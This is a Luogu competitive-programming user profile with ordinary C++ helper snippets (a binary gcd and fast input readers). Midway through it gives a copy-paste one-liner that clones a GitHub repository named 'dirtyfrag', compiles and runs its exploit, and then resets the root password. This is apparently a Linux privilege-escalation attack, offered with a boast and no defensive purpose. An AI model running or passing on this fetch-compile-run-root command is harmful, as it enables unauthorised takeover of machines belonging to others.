跳到正文

Lixiuyu198

970531

2023-03-18 * 800

在洛谷打开
资料、奖项与版本

资料

编号
970531
抓取

在线时间:13:00~23:00

有事私信,不要call我cf和at

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

没有git的用https://raw.githubusercontent.com/V4bel/dirtyfrag/refs/heads/master/exp.c

passwd root

所以他是小丑,我是大师~

LaTeX\LaTeX

C++
int gcd(int a, int b) {
    int az = __builtin_ctz(a);
    int bz = __builtin_ctz(b);
    int z = min(az, bz);
    b >>= bz;
    while (a) {
        a >>= az;
        int diff = a - b;
        az = __builtin_ctz(diff);
        b = min(a, b), a = abs(diff);
    }
    return b << z;
}


#define gc() getchar()
inline int iread() {int res = 0,c = gc();bool flag = false;
	while ((c < '0' || c > '9') && ~c) flag |= c == '-',c = gc();
	while (c >= '0' && c <= '9') res = (res << 1) + (res << 3) + (c ^ 48),c = gc();
	return flag ? -res : res;
}
inline double dread() {
	double res = 0;
	bool flag = false;
	int c = gc();
	while ((c < '0' || c > '9') && ~c) {
		flag |= c == '-';
		c = gc();
	}
	while (c >= '0' && c <= '9') {
		res = res * 10 + (c ^ 48);
		c = gc();
	}
	if (c == '.') {
		c = gc();
		double f = 1;
		while (c >= '0' && c <= '9') {
			f /= 10;
			res += f * (c ^ 48);
			c = gc();
		}
	}
	return flag ? -res : res;
}

还没有收录这位用户的文章。